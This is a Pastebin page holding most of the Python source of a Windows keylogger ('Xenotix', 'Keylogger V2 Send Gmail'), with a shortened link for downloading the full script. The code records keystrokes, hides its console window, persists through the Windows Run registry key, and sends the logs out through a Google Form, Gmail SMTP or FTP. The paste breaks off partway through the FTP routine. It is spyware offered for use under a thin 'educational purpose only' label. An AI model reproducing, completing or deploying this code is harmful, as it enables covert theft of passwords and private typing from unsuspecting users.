Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- ----------------------------------------------------------------------------------------------
- ^
- ^ Keylogger V2 Send Gmail
- ^
- ^ Download script Python Complete Link : http://cut-urls.com/tBdd
- ^
- ^
- ^ ----------------------------------------------------------------------------------------------------------
- Python 2.7: http://www.python.org/getit/
- pyHook Module: http://sourceforge.net/projects/pyhook/
- pyrhoncom Module: http://sourceforge.net/projects/pywin32/
- pyHook Module -
- Unofficial Windows Binaries for Python Extension Packages: http://www.lfd.uci.edu/~gohlke/pythonlibs/
- NOTE: YOU ARE FREE TO COPY,MODIFY,REUSE THE SOURCE CODE FOR EDUCATIONAL PURPOSE ONLY.
- '''
- try:
- import pythoncom, pyHook
- except:
- print "Please Install pythoncom and pyHook modules"
- exit(0)
- import os
- import sys
- import threading
- import urllib,urllib2
- import smtplib
- import ftplib
- import datetime,time
- import win32event, win32api, winerror
- from _winreg import *
- #Disallowing Multiple Instance
- mutex = win32event.CreateMutex(None, 1, 'mutex_var_xboz')
- if win32api.GetLastError() == winerror.ERROR_ALREADY_EXISTS:
- mutex = None
- print "Multiple Instance not Allowed"
- exit(0)
- x=''
- data=''
- count=0
- #Hide Console
- def hide():
- import win32console,win32gui
- window = win32console.GetConsoleWindow()
- win32gui.ShowWindow(window,0)
- return True
- def msg():
- print """\n \nXenotix Python Keylogger for Windows
- Coder: Ajin Abraham <ajin25@gmail.com>
- OPENSECURITY.IN
- usage:xenotix_python_logger.py mode [optional:startup]
- mode:
- local: store the logs in a file [keylogs.txt]
- remote: send the logs to a Google Form. You must specify the Form URL and Field Name in the script.
- email: send the logs to an email. You must specify (SERVER,PORT,USERNAME,PASSWORD,TO).
- ftp: upload logs file to an FTP account. You must specify (SERVER,USERNAME,PASSWORD,SSL OPTION,OUTPUT DIRECTORY).
- [optional] startup: This will add the keylogger to windows startup.\n\n"""
- return True
- # Add to startup
- def addStartup():
- fp=os.path.dirname(os.path.realpath(__file__))
- file_name=sys.argv[0].split("\\")[-1]
- new_file_path=fp+"\\"+file_name
- keyVal= r'Software\Microsoft\Windows\CurrentVersion\Run'
- key2change= OpenKey(HKEY_CURRENT_USER,
- keyVal,0,KEY_ALL_ACCESS)
- SetValueEx(key2change, "Xenotix Keylogger",0,REG_SZ, new_file_path)
- #Remote Google Form logs post
- def remote():
- global data
- if len(data)>100:
- url="https://docs.google.com/forms/d/xxxxxxxxxxxxxxxxxxxxxxxxxxxxx" #Specify Google Form URL here
- klog={'entry.xxxxxxxxxxx':data} #Specify the Field Name here
- try:
- dataenc=urllib.urlencode(klog)
- req=urllib2.Request(url,dataenc)
- response=urllib2.urlopen(req)
- data=''
- except Exception as e:
- print e
- return True
- #Email Logs
- class TimerClass(threading.Thread):
- def __init__(self):
- threading.Thread.__init__(self)
- self.event = threading.Event()
- def run(self):
- while not self.event.is_set():
- global data
- if len(data)>100:
- ts = datetime.datetime.now()
- SERVER = "smtp.gmail.com" #Specify Server Here
- PORT = 587 #Specify Port Here
- USER="your_email@gmail.com"#Specify Username Here
- PASS="password_here"#Specify Password Here
- FROM = USER#From address is taken from username
- TO = ["to_address@gmail.com"] #Specify to address.Use comma if more than one to address is needed.
- SUBJECT = "Keylogger data: "+str(ts)
- MESSAGE = data
- message = """\
- From: %s
- To: %s
- Subject: %s
- %s
- """ % (FROM, ", ".join(TO), SUBJECT, MESSAGE)
- try:
- server = smtplib.SMTP()
- server.connect(SERVER,PORT)
- server.starttls()
- server.login(USER,PASS)
- server.sendmail(FROM, TO, message)
- data=''
- server.quit()
- except Exception as e:
- print e
- self.event.wait(120)
- #Upload logs to FTP account
- def ftp():
- global data,count
- if len(data)>100:
- count+=1
- FILENAME="logs-"+str(count)+".txt"
- ^
- ^
- ^
- ^
- ^
- ^
- ^
- ^
- ^
- ^
- ^
- ^
- ^
Add Comment
Please, Sign In to add comment